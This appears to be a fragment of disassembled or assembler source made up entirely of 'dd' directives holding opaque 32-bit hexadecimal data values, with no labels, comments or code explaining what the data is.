		dd 0F61BCE0Fh, 2EC3244Ch, 0C5A107E8h, 56C01E03h, 0E029D683h
		dd 0B37BFB0Bh, 59CF1828h, 0FAD10001h, 680B3A39h, 6D25B58Fh
		dd 5F40620Fh, 95767ED2h, 0BD612340h, 8F64EE59h,	0C565FD57h
		dd 38BA32B1h, 33D64003h, 0E0E1CCB6h, 18242AABh,	92AE3BFh
		dd 0D560B859h, 0AE003B64h, 0A154DD37h, 9D342F44h, 5F935FD4h
		dd 2E3029A1h, 81549F59h, 0B1B52940h, 0AD799519h, 9C9EFE96h
		dd 3881ECCFh, 6E9E48A0h, 25BB179Ch, 0F8EE8E46h,	0D444B6h
		dd 0C44E90DDh, 0D7817FCCh, 9FE3AD0Bh, 0DC8C2904h, 21A16044h
		dd 970062BDh, 0ADA249Ah, 0BAA7CD0h, 44AE5785h, 0C57BDF01h
		dd 0DE216E5Fh, 2F1926F5h, 0F480D8DAh, 34891F19h, 36EC4BDh
		dd 5C4A768h, 6A028191h,	6F193F58h, 4F95E460h, 6185F48Dh
		dd 57CB1A95h, 2A30D7E1h, 96A7F2h, 0E9879D5Eh, 0BD9D0196h
		dd 6650370h, 523A88BBh,	5E4127F3h, 2F3F55F1h, 69605E19h
		dd 7B959370h, 0DA5FDADAh, 0CC944B3Bh, 0A00BBB7Ah, 5739920Ch
		dd 77A624B5h, 0AE877E0h, 4B94A46h, 120B9D76h, 81703FACh
		dd 0D5D3DE61h, 90903078h, 8DD849FBh, 48CB81C3h,	67C8EACDh
		dd 0BC415FB7h, 4304F5Ah, 517A4Eh, 5A68553h, 0D6691C6Ah
		dd 88148700h, 6D3CBAFAh, 0A05B4FF0h, 0DD5F8AA4h, 0D98865BCh
		dd 510BDE97h, 0F591E275h, 5B69654Dh, 621B002Ch,	0F63F595h
		dd 1D018230h, 164A68FCh, 0F4C869A0h, 8382FB02h,	543EA4BAh
		dd 72B5869Ah, 89372F63h, 6E25EDFEh, 0E571B7B6h,	0C713F5A5h
		dd 60E27FA8h, 0D4D36B02h, 208A9059h, 9A77E3BBh,	85A57349h
		dd 50498B0Fh, 0DCFADC61h, 80F4A800h, 0F7D86039h, 0C724240Dh
		dd 0E0B9075h, 0B2E18509h, 2A5B3DAFh, 0C42D6528h, 0AB9D331Bh
		dd 0B16AB1F1h, 63B72AE8h, 0C8437A0h, 95B8CA0Bh,	772C5EFCh
		dd 4257ED49h, 0FE04291Bh, 0A4DF609Bh, 87A709C7h, 0A4444971h
		dd 0D5C22349h, 91704556h, 1BD39504h, 460FDD0h, 0E988A2BCh
		dd 0EE005C11h, 90840B76h, 0EB54054Fh, 0BCC97265h, 3F8C97E3h
		dd 45952529h, 0CFDF4309h, 2940E7EDh, 0F81CD202h, 9699A56h
		dd 0AD3AF482h, 6B22A1C1h, 1DC8DC9Bh, 7C8214C1h,	726DB0C7h
		dd 0EDD1741h, 2BE250h, 2B8AFE62h, 0C2B1D4h, 874DF11Eh
		dd 92921D5h, 68890F2Ch,	401DFC49h, 3F21538Dh, 0E4B47500h
		dd 9BB32C96h, 0BAD202EBh, 5FF4B5A4h, 51E2A455h,	0EB92EEB8h
		dd 0D21712CAh, 0C32AFE6Bh, 768AABC0h, 0E527F38Fh, 2C9958BBh
		dd 935CA08h, 5F713205h,	0F6EFFE44h, 4C17A2C6h, 11071230h
		dd 0B0CDBFCDh, 8AEA5B44h, 0B9611C20h, 0E09EC500h, 2CD8426h
		dd 74D0F20Dh, 6B5CEC39h, 1B75F4Bh, 0C96C8C81h, 7BF5CE23h
		dd 0EC00D373h, 0FFDAE3D8h, 0A400687Ah, 84D49063h, 4BC5AB4Bh
		dd 0FB340797h, 59B1A5Bh, 0B9C9E0E3h, 8C1DACF1h,	1376200h
		dd 861AB07h, 0D0F8286Eh, 53525C6h, 0FB2501D3h, 0E64350E6h
		dd 0BABF4204h, 9E94778Fh, 132BB1F1h, 9C709B7Dh,	0FB828D80h
		dd 2CEFBF5Dh, 0ADED250Fh, 6BA6AA73h, 565200D6h,	769AB96Bh
		dd 3E2D4C1Fh, 59A87B06h, 0BF181Dh, 0A6573C5h, 0D018CDD1h
		dd 9EBB9A12h, 0A115E80Eh, 6A08C602h, 0BCF7BD7Bh, 4C7C01F2h
		dd 4AB34D65h, 7D32657h,	0B7E2E4BFh, 3ECA73E9h, 57962478h
		dd 0FD0E1283h, 3FCFC03Dh, 30FEA8D3h, 5F822D70h,	4904BF50h
		dd 96528325h, 5600C4F2h, 0F5A63570h, 330E8FB6h,	25D5233Eh
		dd 45259BB7h, 0CAF56182h, 963DD9EDh, 5562BA8Bh,	0E5ED75F8h
		dd 0A9805727h, 8A50BDB3h, 969CFE76h, 27BDCh, 2E7C34D6h
		dd 239EB76Ch, 97337095h, 527681Eh, 0F837D526h, 64631880h
		dd 59DC4C25h, 8F47D6FDh, 0C5B19D17h, 0BC9AEA12h, 0BFBA6D2h
		dd 57B2BA78h, 290BDDE4h, 5E0691B5h, 377C7160h, 0B3BAE56Ah
		dd 41124B2Ch, 0A6D772B9h, 7307A1FDh, 3DFB47Bh, 0BFB9BD5Bh
		dd 0C6DF8B0Bh, 97F48CDCh, 0BF83697Ch, 8D19E7FDh, 6A653DAFh
		dd 2300246Ah, 34A4DBA6h, 0D650DF7Ah, 124E75ECh,	0FAC8B6BCh
		dd 50085B69h, 23008914h, 6B9EFE0Eh, 598BDD8Ah, 0C8BD8CC1h
		dd 64014FA0h, 0BB668BB3h, 342EABA1h, 0DB17BEEBh, 884B52BDh
		dd 0CCB72B61h, 5B562F0Fh, 55498DEFh, 0CCD8BA68h, 5E3BB32Fh
		dd 3051090h, 0B030D0BFh
		dd 3D9A7841h, 0FFCE0BEFh, 78ACFE24h, 1AB39012h,	3C63C834h
		dd 26A2C4h, 0D6FC4BFh, 78BDAF8Ch, 0D9780010h, 9943272Eh
		dd 0BAC1C93Eh, 4618D31h, 2823E93Bh, 95FC7109h, 552BC125h
		dd 1507B30h, 0EBA58539h, 3694D50Eh, 2A335BFh, 7A8D5A8Eh
		dd 5D4BEA75h, 0C1074637h, 0BB306901h, 0B963EACDh, 0C2978071h
		dd 0DFA00514h, 762B7C00h, 55AB7B0Eh, 8A424B1Ch,	0CE532751h
		dd 0EDC29772h, 6AC299D6h, 62137602h, 14FC8D29h,	0BEB35084h
		dd 75BE2394h, 546ABB50h, 14BCB200h, 0DB639D6Fh,	642D4300h
		dd 0D02141BFh, 60E9255Ch, 101247C7h, 0F4B91D12h, 129DDABCh
		dd 144FDFCh, 0AE793F02h, 0F72BF2B6h, 0C7029DB7h, 98D43AE8h
		dd 0CAF4D0h, 7804D590h,	76E8F3A4h, 124C5D3Eh, 5EBDC714h
		dd 456BD3h, 2F600648h, 9DFBB850h, 59FF5402h, 6B405FD6h
		dd 58D680h, 0C637716Ah,	16424733h, 0A863FC00h, 70E30EEEh
		dd 0E1029F18h, 0EEA9D47Ch, 36C2D36Dh, 59D0F514h, 0E2505495h
		dd 945725ADh, 0DD1AC573h, 2A9DAE19h, 6A3DC66Ch,	39581358h
		dd 0C1A4944Eh, 692311B6h, 4BC70936h, 117873FAh,	0F98A091Dh
		dd 205678B0h, 0E6192BA5h, 3178FC70h, 71E43184h,	225AB9F5h
		dd 0B789ECFFh, 8995D4ECh, 3CB4460h, 2D44AFFDh, 0C2A80B4Fh
		dd 733984BCh, 0D5101DFAh, 718E2A89h, 83C2472h, 0F424292Dh
		dd 75BD0105h, 0AD4AB8F8h, 0B09C380h, 88949B11h,	326BF1h
		dd 0E7D04F8h, 86267230h, 0C0105425h, 1764BF7Eh,	0AE1C0A76h
		dd 0D0F9464Eh, 0AED6C85Bh, 88B17A01h, 0BC056811h, 814114D1h
		dd 0AC043361h, 0FEBB017Ch, 0E96D2F78h, 0A92A2475h, 2181C68Ch
		dd 508504C3h, 0AA47554Ch, 88241F20h, 0B6C1126Ah, 898BE15Bh
		dd 712CD5E6h, 0BA4268Bh, 715C0249h, 84251164h, 3AE3220Fh
		dd 0A5691246h, 0A8915917h, 2446255Ah, 215492C4h, 1E413919h
		dd 177DFE01h, 281ECB2Bh, 62BF6295h, 0C28B56ACh,	0BB006FB8h
		dd 4AEED4E2h, 0C091B96Dh, 0B9E8EF80h, 0BF0E40BAh, 1B59B519h
		dd 2BC4FC95h, 79D6C4C0h, 0D2171E18h, 0BD85A0DBh, 80A8FCCEh
		dd 7C42E568h, 803E4EBCh, 1557D01Ch, 6143B512h, 0EEB492B9h
		dd 0AB80D79Ah, 22AD77CFh, 0F45FD4E0h, 0FDE1E320h, 0DD64025Bh
		dd 24788433h, 7F6B1F7Eh, 0A5007F64h, 0A770987Bh, 184C3ED2h
		dd 0B8AE380Fh, 3425FBCBh, 442FCD5Fh, 66DC6115h,	0B1EFD47Bh
		dd 2E9E3AA6h, 0F2EA5487h, 0F25D2957h, 125B5F3Dh, 0B06BAB6Eh
		dd 37071823h, 9D144F91h, 33AC14B8h, 0A5DD549Fh,	5579AB56h
		dd 457C0415h, 133B1429h, 64AF106Dh, 99DE30FBh, 8C02A359h
		dd 8F4CBEE5h, 6BEED569h, 27212921h, 0DC28FCh, 57D2F13Dh
		dd 0A473C9BBh, 95B5E27h, 429951F2h, 51090418h, 0AF264555h
		dd 85A225A7h, 0C7516556h, 80AEE814h, 0A9A324E9h, 59F70044h
		dd 74EEAE61h, 293CAAEFh, 24A94D95h, 0DB84B65Fh,	0E1EF37E0h
		dd 6DBA21AFh, 56F92FE9h, 2D529FF2h, 62AE5BF1h, 0EAE15D49h
		dd 0A72BEC7Ah, 391B671Ch, 84ABBF57h, 3AB6BF44h,	31FEE85Fh
		dd 2516AFBh, 4A5D8B2Bh,	7C051A6Ah, 0ABCA804Fh, 0ED953560h
		dd 30669D19h, 5FA0B44h,	316E7338h, 0A0A702EBh, 0CEF84341h
		dd 0EDF9F85Eh, 81D569A9h, 0E3B7C51Fh, 0BC1AF92Fh, 0CF4A1CBBh
		dd 10DAC9Ch, 0B668F624h, 6E02D5D2h, 8A12D0B3h, 0F14B8DEh
		dd 0F23BD149h, 0BBB847B9h, 0B550C202h, 7FCCACC8h, 0CE52AEF3h
		dd 0F7800A0h, 4D8AB014h, 0E280ABFh, 854AAAB7h, 237BEEh
		dd 5484D38h, 0B2E6FA5Ch, 0E91C40A7h, 49BAD05Ah,	9558DF0Ah
		dd 0F4D6DC95h, 8ED5224Ah, 0FC4ED97Bh, 83285B94h, 0CB98006Ch
		dd 9C9654CCh, 0D5EAA104h, 47C71001h, 0F4B28126h, 0F9A6132Bh
		dd 137ECBEh, 4A696895h,	6AADBD0Bh, 0B785B3E2h, 39CB0B61h
		dd 0ADDE2BAEh, 3F8081B7h, 0BB0B8B7Ch, 6748259Fh, 7652925Ch
		dd 0E901DCC4h, 120BB4F2h, 0BC2B10C4h, 72968B6Ch, 4A0F7C21h
		dd 2772208h, 965BA02Fh,	4A418D01h, 20ACDD07h, 23405542h
		dd 9F8C0B68h, 45E50B0h,	0AF9C7361h, 62B77FEAh, 26865800h
		dd 9401E7D2h, 0AF8D4407h, 1923AA6Ah, 0A2A71D38h, 0BFD26B40h
		dd 5A6564EEh, 4EABB930h, 0C0E0B7A6h, 8B12B1BBh,	9AAA23FAh
		dd 0F5D8924Dh, 0D3A42FD8h, 32893312h, 61E7C1D5h, 165D6E2Fh
		dd 3EA89BBCh, 0E2672125h, 0F549E9A0h, 35A64A0Fh, 15692698h
		dd 5BE9F580h, 0B093B740h, 0E7D876BDh, 0BA113860h, 185B95A7h
		dd 0D32E8B7Dh, 691F02F5h, 0DB5B041Bh, 0BB81DE8Fh, 37DCD95Bh
		dd 7BF2282Bh, 3CF196BBh, 9436E62Ah, 1F1D1747h, 0BC2EAB9Dh
		dd 61608480h, 0F5C9DAACh, 49634D55h, 764ED8CCh,	561D64C2h
		dd 4AED5AD0h, 25F55E4Bh, 6EAF3D00h, 12955796h, 7B5BDDDFh
		dd 0C0B2F727h, 5B405F5Eh, 0F61F01DFh, 8DE10034h, 7FF8D30Fh
		dd 7503623Bh, 47E2A479h, 0AA024F5Fh, 23602141h,	77C2BD95h
		dd 0EC03F339h, 558A16C9h, 0F851CF65h, 0DD0360h,	8B948666h
		dd 0BD230403h, 72B6D12h, 0A0EF8AAAh, 1787F3Fh, 8FBB1B19h
		dd 2A21556Eh, 8DA8E1B2h, 1EB4D70Bh, 2F2D0033h, 0B866BE60h
		dd 815A03EEh, 2B754FF7h, 0CC01B894h, 976D7860h,	0DD08BB71h
		dd 0FF61122Eh, 0D8968C9Ah, 5A0249D4h, 2B3858Eh,	0CB00FEE3h
		dd 0F9BF1175h, 0F94E3C38h, 1668ED3Fh, 7D25FAA6h, 0F3DF624Dh
		dd 0CDDF70C0h, 9BB8C64Eh, 0EFD8854Ah, 0E421B820h, 1C6F002Dh
		dd 0C702EF3Ch, 800929E9h, 595F89F7h, 0F60054C5h, 0B73A9D84h
		dd 2CB26D96h, 0B487FE8h, 3AD716FDh, 3551CBh, 10A70EEAh
		dd 0AA06BD99h, 85CFA91Ch, 8FB72482h, 0FE062C8Eh, 999D93Eh
		dd 0D7EF5FE7h, 2FB9A338h, 0F83B5689h, 0CABD398h, 0B5B91586h
		dd 72AA614Ah, 9DF519Ah,	0F6E27FD3h, 64616D75h, 5894601Dh
		dd 22F93AC8h, 0D50477BBh, 0AC41B33Ch, 0F151253Dh, 4C803DBAh
		dd 3FD4F9F2h, 933BA8CEh, 0A2D380CBh, 7F1F8C5h, 0A466125Bh
		dd 3188AB89h, 0D394955Fh, 13606B44h, 0ED659529h, 1783114Ah
		dd 87BDBC4Ah, 42FEFC1Ah, 80DB6FE2h, 69DADD86h, 0CFB809B4h
		dd 8EFCAC9Ah, 0CFB5A622h, 0ACA06034h, 2B5E5C64h, 403C7120h
		dd 0D31803D6h, 0FD8D2F53h, 67019798h, 866BC501h, 0F6F1607h
		dd 3011ED41h, 4650D84Ah, 56EAAA2Dh, 0A1FCE90Eh,	0AFB002D4h
		dd 0EB7B4E51h, 0EEA9B385h, 9B7274D6h, 120F083h,	2F29B510h
		dd 9800F0Bh, 0A2D54C5h,	1D094163h, 0AD417330h, 0B80BF904h
		dd 2950E21Dh, 0EBA5CF5Fh, 124FA055h, 5BF98B83h,	0A066F7C6h
		dd 9554AF9h, 1EA99589h,	13C94D55h, 0E35E0B2Dh, 0B323685Ch
		dd 5B8BD178h, 9220DBC1h, 0C7BF8380h, 95D6C2C1h,	0FB5720CDh
		dd 255472B3h, 0C89D32E1h, 9009B32Ch, 0E958AAB3h, 19960ECh
		dd 86E3C0A9h, 469DB002h, 39EC3E4Ah, 35227BC8h, 0C06A5E5Ch
		dd 226970FAh, 3A3404E4h, 0EE858A78h, 0C92EB8B6h, 0CEC60E9Eh
		dd 1ED0BD2h, 6FAB88D7h,	0D517642Ch, 0B91A56AFh,	75BCC1h
		dd 156357E0h, 81F05C5Bh, 7844DB0Ah, 8A3BB387h, 0AD9DFDEBh
		dd 0BFE6202h, 0B81AF706h, 0BF0E2456h, 26534009h, 918F0F50h
		dd 0E3FB2753h, 7593102Fh, 49C707A2h, 0B15ACD2Bh, 6B5F0D50h
		dd 0D3DE868Ch, 0A5CA04CEh, 0B07AABD3h, 0DBC1007Fh, 0E2D93419h
		dd 0B97536Ah, 0D86ED345h, 2309F13Ch, 55F95DB6h,	0EC49946Dh
		dd 0A385001Ah, 46A0D618h, 0C70A8017h, 97D1FF59h, 0BE9AF160h
		dd 0E334009Bh, 0A46B1316h, 0C5B55B50h, 83729089h, 3B0EE802h
		dd 4500380Fh, 0AD9E6804h
		dd 3905DF43h, 14EE8E75h, 0D7F5F800h, 5A5F05FBh,	4DACB390h
		dd 0CADE3D26h, 3CE0F9A6h, 0C2BF7B89h, 57E16AD6h, 18644B6Dh
		dd 9ED80A63h, 0E9254F51h, 85CC76Dh, 0B309FE6Ch,	0DD37752Dh
		dd 1EB4883h, 0C8FF948Dh, 0D625F7DDh, 9D28CEBCh,	0D003FB5h
		dd 7645E2C2h, 0A63C5FB0h, 10045814h, 503E2B55h,	0E90B8397h
		dd 65BF8021h, 9143BDE1h, 8101BF99h, 0C868A5EFh,	0D8CB2A1Eh
		dd 0A883F95Bh, 7E9D01E0h, 0A795C45Dh, 28642EA1h, 5ECBE3FBh
		dd 2B833FEBh, 72008919h, 0EB100975h, 206C9871h,	29418EDh
		dd 59B53161h, 0FFC3F47Fh, 203B7BDh, 0A9A7CDA6h,	0AB60A784h
		dd 0D1615A20h, 0EFDE9D5Ah, 0DA907D2Dh, 0B23F37CDh, 4B66CD9Ah
		dd 22151A04h, 2BE7ABBh,	1D255752h, 4E44D5C0h, 0E500127Ah
		dd 4BEC5CD7h, 1189BA33h, 4A30FDBDh, 95F4BDD8h, 15514510h
		dd 0D165B081h, 0E8566030h, 0D8920982h, 30D75B3Ch, 855551h
		dd 4849D208h, 0A7348F61h, 0FD3F2675h, 482B41DBh, 0D749C1D2h
		dd 1E8ABC33h, 114BC675h, 0D2232DB5h, 89B9D0BFh,	2AE16185h
		dd 330913E2h, 12D7C59Dh, 56B86A25h, 9BAB008Eh, 82E94901h
		dd 4B950988h, 615FEE7Dh, 44124E9Ch, 27807DE0h, 1951FFDFh
		dd 1D9AD600h, 6C24372Fh, 0CD432421h, 868C1C4Bh,	0E718A23h
		dd 0C6C3D0ADh, 1742E96Bh, 26A9604Bh, 0D95EC1CFh, 0D3CA0C61h
		dd 9E98B9ACh, 0AFB8DAD6h, 4C68C1A4h, 0AD8A6BC8h, 901D9110h
		dd 0FB8B126Fh, 721094E6h, 0BD091F7Eh, 40252E52h, 0D10D6330h
		dd 99FB0B4Eh, 10FCBDC6h, 0C0905425h, 0C136E8BBh, 52B92D27h
		dd 0E1A5AD8Fh, 0C82A4BA5h, 997A861h, 7086F3C3h,	0E50BB83Ah
		dd 5E971D92h, 4A2511D8h, 8D4065F3h, 82E1AAC9h, 57AD3972h
		dd 96822637h, 56704B3Bh, 2BFC41D7h, 6A7661D2h, 15C87BDFh
		dd 5C3EB9C2h, 0A0F64705h, 0E5A860A9h, 4E38204h,	0DDFBFD8Ah
		dd 40B87E32h, 0C446AD5Ah, 0EF645C1Dh, 32B52C71h, 0FC389C6Bh
		dd 817D1597h, 0EA4A02BBh, 2B713540h, 0E14E7C28h, 0A3A3E72Ah
		dd 7C6ED85Ah, 1EEF1428h, 0B3D2BC54h, 0B6354A85h, 3EBEAF40h
		dd 986E918Dh, 0E0E14BBAh, 2FC409D0h, 80420385h,	755CB1E7h
		dd 8010D251h, 1497ACCFh, 20DD6978h, 0B8788353h,	0B1151271h
		dd 8D7CE2D1h, 0DB3F5A7Ah, 0E2C6C0BFh, 26F50AA1h, 84ADF62h
		dd 60161725h, 0DAE0B2A6h, 5805F6DFh, 11D3560Ah,	0D44A67B8h
		dd 0E52882ACh, 119CEF7h, 79DE17EDh, 2E6CDD3Fh, 1EB6B756h
		dd 690C39E0h, 66832609h, 0D298FFDCh, 21CA887h, 39009D7Ah
		dd 0C861EBE0h, 294F04D8h, 162A3D85h, 0CE882EACh, 2F9B5CA5h
		dd 155C7FCh, 8A76DF5Ah,	9FAC2A53h, 11223B48h, 3E47E09Eh
		dd 0F9581B60h, 919A0212h, 5B8E7C94h, 914CB555h,	0B3C5801Bh
		dd 5198C2h, 600C3661h, 0E3D1BA66h, 0D7966297h, 0E50D1EC3h
		dd 4605090h, 0CF3C5EF1h, 0DC1AC892h, 343A4802h,	0F518F4A0h
		dd 9061ABB8h, 0CE3A605Ch, 2A50159h, 4CF1ED55h, 0FF2AA9F2h
		dd 0D70F9898h, 220F8676h, 0A02C9C3Eh, 0FD93DA7Fh, 60592F05h
		dd 96018564h, 3DAB63EDh, 0BD6A1762h, 7C612F33h,	0A8D996A3h
		dd 34FEB40Fh, 2A9FC75Fh, 60568996h, 6600E979h, 913BE487h
		dd 0F03700CBh, 0C1D0A59Eh, 2605165Ch, 5B613262h, 51513AAh
		dd 8C572BB7h, 44007E8Fh, 0DBD4E542h, 0B55E56A2h, 0E8222246h
		dd 4FC82C13h, 97AD002Eh, 2DB35EAFh, 931E1403h, 0B86632E1h
		dd 9D60C569h, 0B541975Ch, 0AD7A61A4h, 1C69BD7Ah, 79EF077Fh
		dd 606F9659h, 0E0E423E7h, 7BCD6D4Ah, 7802017Bh,	717BB7B2h
		dd 0E4AD3BAFh, 4E16A3ECh, 60EB52D5h, 0E95DEBC7h, 0D67E4A95h
		dd 0F55314C5h, 0C523EEC0h, 0A7017D5Fh, 0A9C47159h, 5EE6EAE7h
		dd 60A16A6Fh, 571F87D7h, 8FC78800h, 354D7FBAh, 649A975Fh
		dd 2CBB84F5h, 81F5DDAAh, 41CDEBF2h, 40288957h, 35575F89h
		dd 82149102h, 5D89F562h, 0E9E0446Dh, 170C19Ch, 9ECC3576h
		dd 0EE9D3369h, 0DF419CD4h, 0A67BD3BEh, 0D370B4CCh, 4B2F34F7h
		dd 0B39A0A4h, 605D9297h, 8017F1FFh, 9E24B396h, 0ED679A50h
		dd 1E185B50h, 83DA000Fh, 94B9DD3Ah, 5217D904h, 9B68C02h
		dd 1D1370F0h, 0BBA32E09h, 0AF5E7937h, 919DDE30h, 436800F7h
		dd 29A92481h, 64C0A528h, 0B67A82BCh, 0FA4B4BB0h, 5EF941C5h
		dd 0F51FE9ECh, 0F7DC788Fh, 2E52DA1Ch, 982C9DF5h, 0C764572Fh
		dd 1890D700h, 5476413Dh, 0B4591380h, 1809BFA8h,	0C0055C5Fh
		dd 8D29DAB7h, 89B47D4Bh, 2754B060h, 0EA5E2EB5h,	2C5432C1h
		dd 45D0E0h, 0F842497Ch,	2FAC39B4h, 32AC6C4Fh, 3DD7618Bh
		dd 601C92ECh, 9310C111h, 74A9F302h, 571E5E40h, 7B971B34h
		dd 0E92E70DBh, 1A13276Bh, 5A545515h, 0D72F7169h, 6DDD8A09h
		dd 467DCB58h, 0D14975Eh, 6F9FD574h, 0BBB5409Eh,	0E6014B91h
		dd 89090D9Ah, 74C205BDh, 0AF9F711Ah, 2F2D585Fh,	0C4CCE722h
		dd 13CCF94Bh, 0A43FED29h, 0C7048193h, 63F04DB8h, 6FD426B8h
		dd 0F61AF112h, 301DF202h, 0DD00AB43h, 0A9E947A0h, 95793252h
		dd 54957678h, 7301F4DEh, 0E721EB20h, 1A617ED2h,	605BF47Bh
		dd 8DEF802Eh, 7797A5C0h, 0FD921685h, 3A0FAE4Eh,	364C4094h
		dd 120D4AC1h, 0F69D2B39h, 3FC04F05h, 3F98ACF7h,	8DCBE28Ah
		dd 1E23E3h, 0D4D0127Fh,	0C0283044h, 95EF25BAh, 0ABAC6E50h
		dd 9D01E381h, 0D8B333Fh, 0EB065602h, 0E3D05DFh,	820462ABh
		dd 989F259h, 0ECD1D433h, 2B4F195Ch, 0B48029F9h,	3D370EFAh
		dd 54C51616h, 975B07B0h, 5B7B7009h, 4C533D70h, 5BCBE78Bh
		dd 2066CF7h, 0BD0B5515h, 0B2551891h, 42CDED5Bh,	0F95FD6ACh
		dd 0FD211274h, 53D9CFA1h, 90E74AEh, 85C22DE6h, 91E8B57Fh
		dd 0D5A8216h, 0B2AE4049h, 29A135B9h, 21920E48h,	228AAB32h
		dd 0D6DBFB2Fh, 57525007h, 85AA73C4h, 0DB7B120Ah, 0ABF7800Bh
		dd 28C670F1h, 24B72E96h, 92748FAh, 375D233Dh, 84159188h
		dd 34FAF7C1h, 0C0ABAC04h, 0DEE9F1BFh, 6414972Dh, 357B585Eh
		dd 1D4F61Dh, 9936B4CFh,	45206A2Bh, 5ACDEDB0h, 0A0D9BCDCh
		dd 0C74B5h, 6096F35Ah, 0BA66C38Bh, 61FECC12h, 0D3FAC2AEh
		dd 59E62C5Ah, 968761B7h, 52159820h, 8C96991Eh, 0C7000590h
		dd 121731A2h, 2D73278h,	6DE9F353h, 396056FBh, 5995303Dh
		dd 0DAD4C9E7h, 583100D4h, 0A096F0BFh, 2C268806h, 57E047BDh
		dd 5C98158h, 6E99D0B0h,	6BAB61h, 0D3FF647h, 214F8A4Bh
		dd 31963E66h, 809AFD01h, 1555FA45h, 0FB675FFDh,	5CF21439h
		dd 59F3EB6Dh, 0DE1850h,	8ACBAEF4h, 2820BA96h, 3B118148h
		dd 0C62C19DFh, 0D9FD602Ch, 0A67203Ah, 7500F034h, 13FBF88Fh
		dd 4B5DC9FEh, 17658B61h, 92FABD09h, 675CD4B5h, 0DE1324h
		dd 80906C25h, 0C18B47DBh, 0CD40B09Ch, 0B12DD7Dh, 46606776h
		dd 470198DFh, 2BD60065h, 4EF65D10h, 2500D152h, 70779CD7h
		dd 975B452Ch, 90FC6918h, 0F5E6535Bh, 2B49C84Ah,	71D67B00h
		dd 5372D7CBh, 7574003Ch, 0EFF6FC5Bh, 0AA12C45Ch, 821EFF1Dh
		dd 0CEB450D2h, 83F83FEh, 4D90255Ah, 51D8C0CBh, 682ECD21h
		dd 4C293889h, 0DE81DE2Fh, 4071DE97h, 6A11CF80h,	0E1946DBDh
		dd 24308E5Fh, 18B12D68h, 0C0E4A04h, 5DBC13E9h, 0E125B9BAh
		dd 2982C1DDh, 3A95E12Bh, 0DB4B88A7h, 0DECF80C1h, 0D71397E1h
		dd 2AD2E140h, 308017DEh, 0D3064D36h, 5E8B010Ch,	74CBBEF7h
		dd 880B9757h, 4055CF77h, 0EBA35E1Fh, 52109A0Eh,	2AABF6F3h
		dd 63E880EFh, 4F83C274h
		dd 59F3B0E2h, 9DC164Ah,	0E179F829h, 0F945F86Bh,	0D5F8617Bh
		dd 6387407Bh, 734BB957h, 0AF22AB8Ah, 0F28D8925h, 26A26B9h
		dd 0ED2DDEBCh, 5581928Ch, 0F9492473h, 570A0097h, 88099D4Dh
		dd 2C9ED903h, 0BBE2D7FBh, 80A39A68h, 755E3E8h, 2509E25Fh
		dd 5E5EA5B5h, 805F11C4h, 43E5A19h, 2700A76Bh, 5E1D0372h
		dd 26A48F51h, 4084728h,	0BD616057h, 208B90CAh, 0B7C2B501h
		dd 95D5912Bh, 17B64086h, 0E925FA8Bh, 12E8C7A5h,	0EFD65654h
		dd 97BCDC9h, 0CDF530D7h, 4380EFF4h, 6DD780A4h, 0B7EA1897h
		dd 0CA42BF13h, 3E680D54h, 1AF5B49h, 0A8EBB66h, 91712EFCh
		dd 0D82AFBBFh, 0FA182B6h, 0D484F66Ah, 27FB5DC5h, 150671A5h
		dd 232EB6FDh, 0AECA3957h, 200BA572h, 8199D89h, 10889484h
		dd 1BA84E04h, 801CDD40h, 0C49F71E4h, 9FE30107h,	0FFFA6720h
		dd 28ACF85Ah, 6F42BF61h, 482E0DEAh, 6AB1D603h, 0FC2F22D1h
		dd 21FB97B3h, 6A5F5789h, 85194AB3h, 6E292DBDh, 90C56924h
		dd 0C3A080FFh, 5F4BD32Dh, 0C6B71281h, 600E092Eh, 58BDB370h
		dd 29D1585Bh, 0E907D14Fh, 5374490h, 0FFA153BCh,	0FF7A84h
		dd 9D0350BDh, 64B51E7Dh, 2406DC18h, 35A760B9h, 8900D4C3h
		dd 7D15D5E3h, 74C57E55h, 5DB6CC0Ch, 0FC9D5F3Fh,	0FA00E9A1h
		dd 4CE96756h, 0CAE70AA8h, 18DF24Bh, 1287C7E8h, 0E26B73CCh
		dd 0EC322204h, 6047A188h, 98C28AF5h, 810A499Bh,	14642E61h
		dd 16D5EC04h, 79418A10h, 2C9DF001h, 4837CA6Ah, 0CD0B2D9Dh
		dd 3E85E36Ch, 5F67ABC8h, 3F7E6F0Bh, 0DFBBE2C8h,	94D6622h
		dd 72877355h, 4013A86Eh, 42FA9531h, 111AB984h, 0ABA33055h
		dd 0D74101ACh, 0CCA14C98h, 0EFBD40AAh, 1978C1Ch, 0DB5893Fh
		dd 0BE4D246Eh, 0DBF6DDE1h, 5F837223h, 0F7F853F0h, 9905F5ABh
		dd 51C02B63h, 0D41907EAh, 0DBD28580h, 7BEC24Bh,	9B65D51Eh
		dd 80F6DEF2h, 0EEB39153h, 549D8327h, 92994A0Ch,	132DE237h
		dd 0D8AFDF8Bh, 27848F58h, 40529D01h, 61AE5F4Ah,	0E2BF14Ch
		dd 175DBDC1h, 0FBBD3B07h, 4EA720B9h, 77C22E01h,	2B258D29h
		dd 38A08E6Ah, 59B47059h, 7D1627DEh, 80E1207Eh, 0E67E2BCBh
		dd 0D67E0459h, 30F131DBh, 23F09C3Fh, 1F5D9D10h,	0EFFFBA64h
		dd 0BB0908E3h, 40FF6B13h, 871F3DFDh, 0AF124FBEh, 1D1F98AEh
		dd 5AAC304Ah, 6E0421E1h, 8B22F260h, 1342741h, 56FD92DDh
		dd 0D2CE515Ah, 0D3A3DD7h, 6BEA60AAh, 7C5D86E8h,	893E33B8h
		dd 0C25CA580h, 70A6FB37h, 94099DA6h, 72D7B758h,	0BDDA4E1Ch
		dd 0EEADC090h, 726D8F9h, 984CA1CCh, 0C7DDE0ABh,	4F4F3B0Ah
		dd 0BF09B6E6h, 0F75929EFh, 754582AFh, 905B021Bh, 631B115Dh
		dd 5EB5F96Ah, 41904A92h, 7F56183h, 0C04C9B14h, 2C74959Bh
		dd 80B80968h, 4A7D305Ch, 1FA8F0C4h, 2F438347h, 0B1007A71h
		dd 78FDAC27h, 9D567187h, 9D041A53h, 69390929h, 0C12FA912h
		dd 1199975h, 0FF2A2AE9h, 490A747Ah, 27C55494h, 28FC41FEh
		dd 4A92EAE2h, 3037CDDFh, 64AB99Dh, 817A37DDh, 2F157948h
		dd 64A0FBF7h, 385A6BC7h, 6FE217FAh, 7330128Fh, 0ADDF88h
		dd 2E454A89h, 5C062CDBh, 0CB444D00h, 0C21B7A38h, 4EB6B8F0h
		dd 0A15EA8D1h, 1C89DFB3h, 7A560C2Dh, 4A1B46D4h,	2B1100AAh
